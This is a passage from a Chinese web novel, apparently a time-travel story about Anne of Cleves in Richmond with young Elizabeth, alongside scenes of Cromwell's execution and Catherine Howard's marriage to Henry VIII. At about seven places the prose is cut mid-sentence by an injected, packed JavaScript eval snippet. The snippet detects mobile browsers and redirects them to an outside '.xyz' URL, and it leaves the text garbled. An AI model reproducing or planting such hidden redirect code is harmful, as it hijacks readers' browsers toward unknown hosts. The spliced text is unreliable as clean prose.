最后一笔拖得很长，像一条不肯收拢的尾巴，也像在丈量她与故土之间被强行缩短的距离。 胡椒狗在此时不合时宜地“汪”了一声，又立刻被安妮用脚尖轻轻按住。 众人离开后，克伦威尔独自折返。 他从袖中摸出一只小小的锡盒，放在桌上。 “殿下，”他声音沙哑，“这是安特卫普最新到的玫瑰种子，据说能在冬日开花。” 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155903|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妮打开盒盖，里面静静躺着三粒黑褐色的种子，像三颗被时间风干的泪。 “谢谢，”她说，“我会把它们种在里士满的墙根下——让它们在雪里记住阳光。” 克伦威尔深深一揖，给这位前王后最后的尊重 亨利八世·汉普顿宫 国王正在新修的长廊里试步——痛风减轻了，或者兴奋压过了疼痛。 御前侍卫低声禀报：“王后……不，安妮小姐已签字。” 亨利大笑，震得窗棂嗡嗡响：“好！立刻发函给教皇——不，给全欧洲！就说朕终于摆脱那匹德意志母马！” 他转身吩咐乐师：“排练新婚礼进行曲，要C大调，喜庆！越喜庆越好！” 公爵夫人把家族纹章上的银色玫瑰换成了金色，命令绣娘连夜加急。 霍华德举杯，对满屋亲戚宣布：“金雀花要变玫瑰，玫瑰要变王冠！” 年轻的凯瑟琳躲在屏风后，指尖绕着一缕金发——她已收到国王送来的订婚戒指：一颗方形切割红宝石，像一滴新鲜的血。 安妮·里士满塔楼 夜里，她独自爬上最高的垛口，看泰晤士河在月光下像一条银色的离职证明。 胡椒狗绕着她转圈，尾巴拍得地砖“啪啪”响。 7 月 28 日，汉普顿宫。 凯瑟琳试穿婚纱，裙摆由 24 名侍女托起，像一片金色的云。 镜子里，她的脸被宝石光映得发亮，却忽然想起安妮送的那句德语： “玫瑰同枝，风雨同担。” 她愣了半秒，随即甩甩头，把这句不祥的话甩进角落。 ——旧玫瑰已经退场，新玫瑰只管盛开。 夜深，安妮独自坐在塔楼最高处。 泰晤士河在脚下无声地流动，像一张巨大的、无法撕破的网。 她打开那本用德语记的小本子，写下： “1540 年 7 月 27 日，我被英格兰留下。 不是作为王后，也不是作为囚徒， 而是作为一只被剪断翅膀却仍被允许歌唱的鸟。 4 000 马克，买不走风，也买不走祈祷。 我会日日为亨利祈祷——祈祷他长命百岁， 好让我在有生之年，仍能亲眼看见 那顶曾差点压碎我脖子的王冠， 如何压碎下一个人的梦。” 14. 搬家日 里士满·安娜宫，1540 年 8 月 3 日，晴，微风带着河水的甜味 天刚蟹壳青，泰晤士河就亮得像一面新擦的银镜。三艘驳船“咚——咚——咚”地靠上里士满私用码头，桅杆顶上挂着一面临时小旗：一只胖鹰，爪下抓着算盘——那是安妮昨晚用桌布剪的，针脚歪得理直气壮。 胡椒狗第一个跳下甲板，尾巴扫起一片碎金似的阳光。它脖子上挂着一个小铃铛，叮叮当当，像在宣布： “各位，退休生活开始啦！” 安妮跟在后面，手里拎着一只比她头还大的铜钥匙——城堡正门的老锁，据说上一次开启时，亨利八世还在长乳牙。钥匙插进去，“咔哒”一声，像打开了某个巨大玩具盒。 大厅空旷得能听见回声说悄悄话。阳光从高窗斜射进来，照得浮尘像迷你烟火。安妮把行李清单卷成喇叭，对着空气念： “莱茵白酒二十桶，安特卫普玻璃杯十二箱，托斯卡纳粗盐八袋，胡椒狗一只——超重不收运费！” 最后一箱由她亲自抱进来，“哐”一声放在地上，盖子自己弹开，滚出一堆银币——哗啦，像一条银色的河。 四千马克，叮叮当当，响得理直气壮。 安妮蹲下，用指尖拨弄那些带着体温的硬币，笑得见牙不见眼：“前老板大气！别人离婚收律师费，我离婚收年终奖。” 厨房在城堡西翼，门楣上刻着一句拉丁文： “Fames est optima coquina.”（饥饿是最好的厨师） 安妮眯眼看了半天，转头对胡椒狗说：“从今天起，这句改成：‘快乐是最好的调料。’” 灶膛里还堆着昨夜守夜人留下的木柴，火星未灭，噼啪作响。安妮把一张卷边的羊皮菜单拍在案板上，上面歪歪扭扭写着： “今日午膳——盐鳕鱼派、燕麦糊、煮白菜。” 她拎起菜单，像拎起一只湿漉漉的袜子，走到窗前，手腕一甩—— “嗖！” 羊皮纸划出一道完美抛物线，落进玫瑰丛，惊起两只麻雀。 “第一号政令，”她宣布，“鱼派永禁！谁再把鳕鱼塞进派皮，就罚他吃三天煮燕麦！” 胡椒狗汪了一声，表示附议。 午后，阳光把厨房照得像一块烤热的姜饼。安妮搬出两口黄铜大蒸锅，一口贴上纸条：“布丁专用”，另一口贴上：“炖人——啊不，炖肉专用”。 她正哼着莱茵小调，门口传来马蹄声。一匹栗色小马驹停稳，马背上的女孩一跃而下，斗篷飞扬，像一团跳动的蓝色火焰。 “老师！”伊丽莎白的声音清脆得像河面上碎开的冰，“我来报到！” 安妮愣了半秒，随即笑得比阳光还亮：“欢迎光临安娜宫！行李呢？” 伊丽莎白拍拍马鞍后的小木箱：“书三本、望远镜一支、谜语纸条一沓，另附我自己。” 胡椒狗冲上去绕着她转圈，尾巴摇得几乎要起飞。 大厅里，伊丽莎白转着圈打量自己的新房间——原守备队长的塔楼小室，现在铺上了土耳其地毯，墙上挂着一幅手绘星图。 “窗户朝东，”她满意地点头，“可以看日出。” 安妮靠在门框上，手里端着一杯刚调好的蜂蜜酒，琥珀色的液体在杯中晃啊晃。 “先说好，”安妮眨眨眼，“吃饭时间不准用拉丁文点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155904|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜，我怕厨房听不懂。” 伊丽莎白接过酒杯，抿了一口，眼睛亮成两颗小星星：“成交！不过布丁可以多点姜吗？” “可以。”安妮爽快答应，“只要你把谜语纸条留一半给我贴瓶子。” 两人相视而笑，阳光透过彩色玻璃，把她们的影子染成一朵朵玫瑰。 傍晚，厨房飘出第一股新香气。 蒸蛋布丁在锅里轻轻颤动，像一朵朵黄色的云。红酒烩牛排在铜锅里咕嘟咕嘟，肉香混着酒香，飘出窗外，飘过河面，飘进远处的树林。 安妮把布丁倒扣在盘子里，淋上焦糖，递到伊丽莎白面前：“第一口给你，庆祝我们的新家。” 伊丽莎白用勺子挖下一小块，放进嘴里，眼睛眯成一条缝：“像把圣诞夜蒸进了夏天。” 胡椒狗蹲在脚边，尾巴拍打地板，发出满足的“啪嗒啪嗒”声。 夜深，塔楼上的风铃叮叮当当。安妮坐在书桌前，把今天的收入一笔一笔记进新账簿： “收入：蜂蜜酒 18 马克，姜饼模具专利费 2 马克，胡椒狗卖萌费 0（待定）。 支出：0（今天全用国王的钱）。 备注：鱼派出局，玫瑰登场。” 她合上账本，伸了个懒腰，窗外的月亮像一块被咬了一口的姜饼。 伊丽莎白在隔壁房间轻声喊：“老师，明天可以教我酿苹果酒吗？” 安妮笑着回答：“当然可以，只要你先把望远镜借我看看星星。” 风从河面吹来，带着烤肉的香味、红酒的回甘，还有银币的轻响。 安妮打了个饱嗝，满足地合上眼睛。 “这才叫生活。” 15. 星图夜绘 天鹅座旁多了一颗玫瑰星 里士满的冬夜来得早，才过晚祷，天色便像被墨汁一层层晕开，只剩塔楼尖顶还勾着一线银白。 伊丽莎白拖着一只木箱，气喘吁吁地闯进安妮的卧室：“老师，我把它偷运出来了！” 箱子里躺着一架小望远镜——黄铜镜筒、三脚支架，还缠着一条褪色的皇家蓝丝带。 “从御前库房借的？”安妮挑眉。 “是借的，”女孩一本正经，“借到里士满，再借回伦敦。” 胡椒狗围着箱子嗅了一圈，尾巴把地板拍得啪啪响，像是在鼓掌。 两人抬着望远镜，一步一喘地爬上西塔顶。塔楼废弃多年，风从破窗灌进来，吹得火把乱晃，像一群喝醉的萤火虫。 安妮把望远镜架在石垛上，顺手从怀里抽出一卷新羊皮纸、一支削得极细的鹅毛笔，还有一小罐玫瑰色墨水——那是用去年玫瑰花瓣熬的，颜色温柔得像傍晚的云。 伊丽莎白先把官方星图铺在地面： 天鹅座、大熊座、猎户座……线条僵硬，星星像被钉子钉住。 她皱鼻子：“皇家天文师的图太死板，像教堂彩窗，不像天空。” 安妮笑了笑，没说话，只把那张空白羊皮纸铺在旧图之上。 夜风很冷，安妮的指尖却稳得出奇。 她先用极淡的铅粉描出古典轮廓，再悄悄在天鹅座左翼添了一颗极细的小星—— 那是现代天鹅座 61，1540 年尚未被欧洲人记录，亮度暗，却真实存在。 笔尖一顿，她在旁边点了一个几乎看不见的小点，然后迅速用玫瑰色墨水覆盖。 玫瑰色在烛光下若隐若现，像一滴含羞的血。 伊丽莎白眯起一只眼凑近望远镜。 “老师，天鹅座这里……” 她的声音被夜风吹得碎碎的，“好像多了一颗？” 安妮心跳漏半拍，却只是“嗯？”了一声，假装在调焦。 女孩又看了一次，确认无误后，没有惊呼，也没有质疑，只是用羽毛笔蘸了玫瑰色，轻轻在那颗小星上补了一笔。 玫瑰色在雪白羊皮上晕开，像一朵悄然绽放的花。 “我们给它起个名字吧。”伊丽莎白压低声音，仿佛怕惊动夜空。 安妮故作随意：“叫什么？” “Rosula，小玫瑰。”女孩眼睛亮得像两粒晨星，“只属于今晚，只属于我们。” 安妮的笔尖在星旁写下拉丁小字： Rosula — 1541, 里士满塔 墨迹未干，夜风掠过，羊皮纸轻轻卷起，像天空也弯下腰来看。 趁伊丽莎白再次沉迷望远镜，安妮快速完成剩余连线： 天鹅座翅膀的弧度更优雅，仙后座多了一条“W”形辅助线，北斗七星末端画了个小箭头指向北极星—— 这些都是 16 世纪尚未流行的画法。 她边画边在心里数： “一步、两步……别被发现。” 玫瑰色墨水在暗淡灯火里像秘密的脉搏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155905|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 胡椒狗突然对着塔外狂吠。 原来远处河面漂来一艘夜航小船，船头挂着两盏昏黄灯笼。 伊丽莎白把狗抱起来，用它的鼻子当“指针”： “看，灯笼就是移动的双星！” 安妮顺势在图纸上添了两颗移动的光点，标记为“Canis Navis”（船犬座）。 女孩笑弯了腰，狗也汪得理直气壮。 夜更深，塔顶冷得像一块铁。 伊丽莎白把小手缩进斗篷里，忽然问： “老师，你怎么知道天鹅座还有一颗暗星？” 安妮沉默两秒，把望远镜递给她： “多看看，就能发现别人看不见的光。” 女孩没有再追问，只是用玫瑰色笔在图角写了一行小字： “老师的眼睛里藏着另一条银河。” 回到卧室，伊丽莎白把新图挂在床头，旧图卷好塞进木箱。 她偷偷在新图背面画了一只极小的蜜蜂，翅膀上写着“E”—— 那是她给自己留的暗号： “如果有一天我懂了，就回来给蜜蜂上色。” 塔楼的风铃在风里叮叮当当，像在为那颗玫瑰星送行。 安妮吹熄蜡烛，听见隔壁房间里，女孩轻轻哼起自编的小调： “Rosula, Rosula, 偷偷亮一夜……” 她在黑暗里微笑，指尖无意识地在空中描出那颗小星的位置。 玫瑰色的秘密，在冬夜里悄悄生根 16. 第 16 章 里士满的厨房今天像一座被蜂蜜灌满的钟楼。砖墙被炉火映成淡金色，空气里飘着姜、肉桂和苹果皮的香气，像有人在空气里撒了一把香料雨。安妮把袖子挽到手肘，露出长年握笔留下的细茧，手腕上缠着一条褪了色的围裙带，带子上还绣着一枚小小的玫瑰。伊丽莎白踮着脚，在桌边转来转去，像一只好奇的麻雀，鼻尖沾着一点面粉，像不小心抹上的雪。 厨房中央，那座老炉子如今被安妮改造得神气活现。炉膛被砖匠分成三段：第一段温柔得像春日午后的阳光，适合发酵前的低温醒面；第二段热烈似盛夏，能把姜饼烤得外脆内软；第三段则像晚秋的余烬，慢慢烘着苹果酒里的果香，不焦不燥。胡椒狗蹲在第一段炉门前，舌头耷拉，尾巴啪嗒啪嗒地拍地面，像给每一个温度打拍子。 “记住，”安妮把一块揉好的姜饼面团放在案板上，手指轻轻压出玫瑰纹路，“姜饼和权力一样，得先让时间驯服香料，再让温度驯服甜味。” 伊丽莎白眨眨眼，学着她的样子压出另一朵玫瑰，却压得太用力，面团边缘裂成一片小小的花瓣。她吐了吐舌头：“那裂缝就是权力的代价？” 安妮失笑，用指尖蘸了点蜂蜜，把裂缝轻轻黏合，像修补一道历史的缝隙：“代价也可以变成花纹。” 胡椒狗立刻把鼻子凑过去，鼻尖几乎碰到面团。安妮挑眉：“裁判先生，请打分。”狗尾巴摇成风车，打了个喷嚏，算是全票通过。 面团被切成城堡、玫瑰和天鹅的形状，一一排在铁盘上。安妮把第一批送进第二段炉膛，炉火舔着铁盘，发出轻微的噼啪声。伊丽莎白守在炉门前，脸颊被烤得红扑扑，像两颗熟透的苹果。 “烤炉也分三温，”安妮一边计时，一边解释，“第一段像修道院的晨祷，温柔地叫醒酵母；第二段像市集正午，热烈地催促香气；第三段则像冬夜里的壁炉，慢慢把故事烤进味道里。” 胡椒狗在第三段炉门前打了个滚，肚皮朝天，尾巴继续打拍子，仿佛在说：故事已经准备好了。 姜饼出炉时，空气里炸开一阵甜香。安妮用铁铲轻轻铲起一块，边缘金黄，中心柔软，像一轮半透明的月亮。伊丽莎白迫不及待地掰下一角，烫得直嘘气，却笑得眼睛弯弯：“月亮的味道！” 姜饼太多，吃不完。安妮把剩下的姜饼、烤焦的边、碎屑、连同蜂蜜和苹果皮一起装进大铜盆，用木杵捣碎，像捣一场小型的叛乱。伊丽莎白拿着小杵加入，鼓手似的咚咚咚，面粉与蜂蜜混成浓稠的浆，像金色的河流。 “现在，”安妮把浆液倒进干净的玻璃罐，“我们要让时间继续讲故事。”她加入少量温水和酵母，封罐，用蜡封口，瓶身贴上日期：1541 年 2月 17 日。 伊丽莎白伸长脖子，鼻尖几乎碰到瓶口：“什么时候能喝？” 安妮把罐子放在第三段炉膛旁的架子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155906|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，炉火温柔地烘着瓶底，像一位耐心的老祖父。“耐心，”她说，“是第二段炉火，比第一段更慢，却比第三段更长久。” 她们又做了苹果酒。苹果被切成月牙，和肉桂、丁香、蜂蜜一起塞进陶罐，再浇上少量莱茵白酒。陶罐被蜡封，排在姜饼酒瓶旁边，像一排等待检阅的士兵。 伊丽莎白数着罐子，眼睛里闪着光：“十罐姜饼酒，八罐苹果酒，一共十八个故事。” 安妮把最后一滴蜂蜜封进瓶口，抬头望向窗外。暮色降临，泰晤士河像一条沉睡的银蛇，河面映着城堡的灯火。胡椒狗在炉火旁蜷成一团，尾巴盖在鼻子上，像守着十八个未讲完的梦。 “记住，”安妮把伊丽莎白的手放在罐口，掌心贴着温热的玻璃，“故事需要时间发酵，也需要耐心倾听。今天我们把日子封进罐里，明天罐子会把故事还给我们。” 伊丽莎白点点头，忽然踮脚在安妮脸上亲了一下，像偷走一片月光。她小声说：“我会等，像炉火一样耐心。” 炉火静静地燃着，第三段温度把夜晚烤得柔软而漫长。姜饼的香气、苹果的甜味、蜂蜜的醇厚，在罐子里慢慢交融，像一场无声的舞会。 胡椒狗在梦里打了个滚，尾巴轻轻扫过安妮的脚踝，像是说：舞会已经开始，只差时间这位乐手。 安妮熄了灯，只留下炉火的红光，在墙上投下两个并肩的影子，像两朵将要开放的玫瑰。 17. 第 17 章 伦敦的夏日黎明像一把钝刀，慢慢割开天幕。1541年6月28日，泰晤士河涨潮，潮声里混着铁镣拖地时的刺耳金属声。克伦威尔被拖出牢门，灰色囚衣被夜露浸透，贴在瘦骨嶙峋的背上。押送的士兵脚步沉重，像提前敲响的丧鼓。 刑场外已聚起一小撮人。刽子手是个生面孔，袖口暗袋里沉甸甸地揣着几枚金币——那是克伦威尔旧日政敌的买命钱。斧柄被故意磨钝，第一斧下去只劈开锁骨，血喷得老高，却未致命。克伦威尔闷哼，双膝跪进泥里。第二斧偏了，砍在肩胛骨上，骨裂声像折断的干柴。人群里传出低低的惊呼，有人别过脸去。第三斧落下前，一个披斗篷的狱卒猛地推开刽子手，夺过斧头，低声道：“够了。”寒光一闪，干净利落。血溅在灰白地砖上，像一朵过早凋零的玫瑰。斗篷人转身消失在晨雾里，只留下斧柄在泥中微微颤动。 同一时刻，汉普顿宫张灯结彩。红毯从宫门一直铺到礼拜堂，玫瑰花瓣铺得没脚踝。霍华德家的纹章被绣成金色，挂在每一根廊柱上，像提前庆祝的旗帜。凯瑟琳·霍华德穿着珍珠绣成的婚纱，裙摆像一片流动的月光。亨利挽着她，笑得像个刚得到新玩具的孩子。 晚宴上，长桌摆满孔雀、鹿肉和蜜渍樱桃，金杯碰撞的声音像一场盛大的雨。亨利举杯，声音洪亮得能震碎酒杯：“诸位，看看我的新王后！她比晨星还亮，比春雪还纯！”大臣们鼓掌，夫人们微笑，仿佛昨日的血还未干透就被玫瑰盖住。亨利转头对凯瑟琳耳语：“愿我们早日有子，继承这大好河山。”女孩羞红了脸，却不知命运早已在嫁妆里悄悄标好了价格。 舞厅中央，凯瑟琳旋身起舞。阳光透过彩绘玻璃落在她年轻的脸上，碎成金粉，像给她镀了一层流动的光。她抬手，裙摆旋转成一朵盛开的百合，银铃般的笑声在穹顶下回荡。霍华德家族的新晋大臣们互相敬酒，杯沿轻碰，低声窃语： “瞧，国王终于又恋爱了。” “只要她肚子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155907|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争气，我们家的纹章就能再镀一层金。” “嘘，小声点，别让王后听见。” 而在里士满，音乐声从塔楼传来。安妮握着伊丽莎白的手，带着她在长廊里旋转。裙摆扫过地板，像一阵风掠过湖面。鼓手敲着轻快的节奏，胡椒狗在角落跟着节拍摇尾巴。 伊丽莎白转得头晕，停下来喘气：“老师，跳舞和权力一样吗？”安妮笑了，把女孩的发丝别到耳后：“跳舞需要节奏，权力需要借口。节奏错了会踩脚，借口错了会踩脖子。” 夜深，伦敦塔外的血迹被雨水冲散，汉普顿宫的灯火越烧越旺。凯瑟琳在新床上辗转，梦见一只戴王冠的天鹅被玫瑰刺穿。而在里士满，安妮熄了灯，把最后一瓣玫瑰夹进书里。 风从河面吹来，带着铁锈与花香的混合味道。伊丽莎白在梦里轻声问：“老师，天鹅会疼吗？”安妮没有回答，只是把窗帘拉上，让黑暗覆盖一切。她知道，有些答案要等玫瑰凋谢才会揭晓。 18. 金笼里的金丝雀 汉普顿宫的夏风带着玫瑰与麝香的黏甜，从长廊这头吹到那头，把新皇后的笑声卷得更高。凯瑟琳·霍华德搬进王后寝宫尚不足月，来自国王的礼物已堆得小山一般：法兰西来的镜子镶着蓝宝石，佛罗伦萨的丝毯铺得走廊不见石砖，甚至御马厩里也添了一匹雪白的小马，鬃毛里编着金丝，专供她午后骑乘。 亨利本人像被蜜黏住的熊，日日流连王后寝宫。他遣人将御膳房最新出炉的糖渍樱桃整盘端来，只为看凯瑟琳拈起一颗放进红唇时的笑靥；又命宫人把泰晤士河最新鲜的鲑鱼连夜冰镇送来，只因她随口说过一句“想吃鱼”。年轻的王后快乐得像刚学会飞的小雀，早晨在镜前试戴新项链，午后便在花园里追着蝴蝶跑，裙摆扫过之处，花瓣与笑声一同扬起。 她把自己在诺福克时的玩伴安妮·巴斯克维尔召进王宫做贴身侍女——那个曾在苹果园里和她一起偷吃蜂蜜的姑娘，如今穿着王后赐予的绸缎，却仍旧改不了嚼舌根的毛病。凯瑟琳觉得亲切，宫廷里的其他人却只觉得轻浮。那些出身霍华德家族旁支、自幼受礼仪熏陶的侍女们，在向她行屈膝礼时嘴角含笑，眼底却空无一物；她们用绣着家徽的手帕掩口，私下里交换着“王后今日又打碎了几只威尼斯杯”的闲言。 七月末的傍晚，亨利决定正式把新王后介绍给三个孩子。宴会设在白塔大厅，高窗透进金色残阳，照得凯瑟琳的珍珠头饰闪闪发亮。玛丽公主身着黑丝绒，领口缀着祖母绿的十字架，面色比衣料更冷。当凯瑟琳屈膝行礼时，玛丽只微微颔首，声音像从冰棱里滚出来：“愿王后在新位置上得享宁静。”她转身便与侍从讨论起《论基督徒的节制》，丝毫不掩饰对这位“从苹果园飞来的王后”的轻蔑。在她看来，安妮·克里维斯虽算异教徒，却至少出身德意志公侯之家，礼仪端方；而眼前这位，把宫廷风气带得轻飘如晨雾。 伊丽莎白却悄悄拉住凯瑟琳的手。她仰头，目光澄亮：“王后今日像一朵刚开的百合。”凯瑟琳愣了愣，随即笑弯了眼，把袖中偷偷藏的一枚琥珀胸针塞进小公主掌心。那晚，伊丽莎白在回廊里追上凯瑟琳，小声说：“别怕她们，她们只是嫉妒您笑得那么亮。”凯瑟琳怔住，第一次意识到，自己或许真的在金丝笼里，而笼外的人，正在等她跌跤。 夜深，宫灯一盏盏熄灭。凯瑟琳独自坐在镜前，摘下沉重的珍珠耳环。铜镜里，她的面容依旧美丽，却在烛光下显得单薄。她想起午后花园里，玛丽公主的背影挺直如剑；想起霍华德家的侍女们掩嘴而笑时，眼底闪过的冷光；想起亨利兴致勃勃地说“明年此时，你要为我生个王子”。 窗外，一只夜莺啼了三声，飞走了。凯瑟琳轻轻抚摸镜中自己的倒影，指尖冰凉。她不知道，那声啼叫是命运的倒计时，也是玫瑰凋谢前的最后一次歌唱。 第十九章里士满的空气里飘着新割牧草的清香，安妮却无暇欣赏。她正站在马厩旁，指尖轻抚着一匹高大骏马油光水滑的深栗色脖颈。这匹来自德意志汉诺威的温血马，体型匀称，肌肉线条流畅，眼神温顺中带着警觉，是安妮精心挑选、耗费数月才运抵英格兰的“和解礼物”。 “好孩子，”安妮用德语低语，将一块方糖喂进马儿湿漉漉的嘴唇，“今天可要给我们争气。”马儿打了个响鼻，温热的鼻息喷在她手上，仿佛应允。马鞍是崭新的英格兰式样，但辔头却是安妮特意定制的银饰，上面精巧地雕刻着都铎玫瑰与克里夫斯鹰隼缠绕的纹章——既是礼物，也是无声的身份宣告。 当这匹神骏被牵进格林威治宫的庭院时，亨利八世正与凯瑟琳在玫瑰廊下漫步。新王后一身娇嫩的粉色丝绸，依偎在国王宽阔但已显笨重的身侧，笑声如银铃般清脆。侍卫的通禀让亨利转过头，他的目光瞬间被那匹德意志马攫住。 “上帝啊！”亨利的惊叹发自肺腑，他大步流星地走上前，红润的脸上焕发出久违的狩猎者般的光彩。他围着马转了一圈，粗糙的大手拍打着马匹强健的肩胛，又检查着牙齿和蹄铁。“安妮！我的好妹妹！”他转过身，笑容满面，语气是前所未有的热络，“这真是一份厚礼！一匹真正的战马！比汉普顿宫马厩里那些软脚虾强多了！” 安妮优雅地行了个礼，恰到好处地露出“妹妹”该有的温顺微笑：“陛下喜欢就好。它来自汉诺威，性情温顺但脚力极佳，愿它能陪陛下纵情驰骋，强健体魄。”她特意强调了“强健体魄”，知道这最能打动饱受痛风折磨的亨利。 “喜欢！太喜欢了！”亨利爱不释手地抚摸着马鬃，转头对凯瑟琳说，“瞧瞧，亲爱的，我的好妹妹安妮多懂我的心意！这才是真正的皇家气度！”他兴致高昂，大手一挥：“为了庆祝这份厚礼，也为了庆祝即将到来的圣灵降临节，我要在汉普顿宫举办盛大的舞会！安妮，”他目光炯炯地看向前王后，“你一定要来！作为我最尊贵的妹妹出席！” 凯瑟琳脸上的笑容僵了一下，像精致的瓷器裂开了一道细微的纹。她挽着亨利臂弯的手下意识地收紧，指尖微微发白。她飞快地瞥了安妮一眼，那眼神复杂极了——一丝不易察觉的警惕混在强装的大度里。“当然，陛下说得对，”她的声音依旧甜美，却少了点刚才的轻快，“安妮姐姐能来，舞会一定会增色不少。我们……很期待。” 她用了“我们”，试图强调自己女主人的身份，但那丝忧虑却像阴云，悄悄笼罩了她明媚的眼底。她看着那匹雄健的德意志马，又看看安妮沉静自若的姿态，忽然觉得自己的粉色衣裙在阳光下有些刺眼。 第圣灵降临节之夜，汉普顿宫灯火通明，乐声悠扬。金碧辉煌的宴会厅里衣香鬓影，贵族们盛装出席，空气中弥漫着昂贵的香水、烤肉和葡萄酒混合的奢靡气息。 玛丽公主坐在远离舞池中心的高背椅上，一身深紫色的丝绒礼服，衬得她脸色愈发苍白冷峻。她端着一杯几乎未动的葡萄酒，眼神像冰锥一样刺向舞池中央被亨利紧紧揽在怀里的凯瑟琳。新王后穿着一身耀眼的金线织锦长裙，领口开得极低，缀满了珍珠和宝石，正咯咯笑着，随着音乐略显笨拙地旋转，裙摆像一片过于张扬的金色海浪。 “圣母玛利亚，”玛丽的声音冰冷，带着毫不掩饰的轻蔑，对身旁心腹的西班牙侍女低语，“看看她，像个刚挤完羊奶就跑进宫殿的村姑，除了咯咯傻笑和扭动腰肢，她还会什么？那身金子挂在她身上，只显得更加粗俗不堪。真不知父王看中了她哪一点？就凭那张涂满脂粉的脸和……”她没再说下去，嫌恶地抿紧了嘴唇。侍女恭敬地垂着头，不敢接话，只是将手中的祈祷书捧得更紧了些。 安妮的马车在此时抵达。当她步下马车，踏上灯火通明的宫门前阶时，一个熟悉的身影正从侧廊走出。托马斯·西摩，那位英俊倜傥、眼神总带着几分玩世不恭的宫廷新贵。他显然也没料到会在此处遇见安妮，眼中闪过一丝惊讶，随即化为一个极其真诚、甚至带着点惊喜的笑容。他快步上前，极其优雅地行了一个标准的骑士礼。 “尊敬的安妮女士，”他的声音低沉悦耳，带着恰到好处的敬意和一丝不易察觉的亲近，“能在如此美好的夜晚遇见您，真是意外之喜。” 安妮回以同样优雅的屈膝礼，嘴角噙着一抹温和的笑意：“西摩爵士，许久不见。看到您风采依旧，令人欣慰。说起来，”她的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155908|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光落在他袖口精致的刺绣上，语气自然地带了点旧友重逢的熟稔，“当初在格林威治，您教我玩的那几手扑克牌，至今受益良多。尤其是在需要耐心和观察的时候。” 托马斯眼中瞬间亮了一下，安妮话语中传递的善意和这份“共同记忆”的提及，像一道暖流，驱散了宫廷惯常的冰冷客套。他感受到了这份无形的橄榄枝。他脸上的笑容更深了，带着一种被信任的暖意，极其自然地伸出手臂，掌心向上，姿态既绅士又带着一种保护的意味。 “那真是我的荣幸，女士。”他温声道，“不知今晚是否有幸，护送您这位最尊贵的客人进入舞厅？”他的动作流畅自然，仿佛这是再理所当然不过的事情。 安妮微微一笑，没有犹豫，将戴着薄纱手套的手轻轻搭在他的小臂上。“有劳您了，西摩爵士。” 两人并肩，托马斯刻意放慢了步伐，迁就着安妮的步调，仿佛一位忠实的骑士守护着他的公主，朝着那扇灯火辉煌、乐声喧哗的大门走去。 当门口的侍卫看到他们走近，深吸一口气，用洪亮的声音通报道： “德意志的安妮女士到——！” 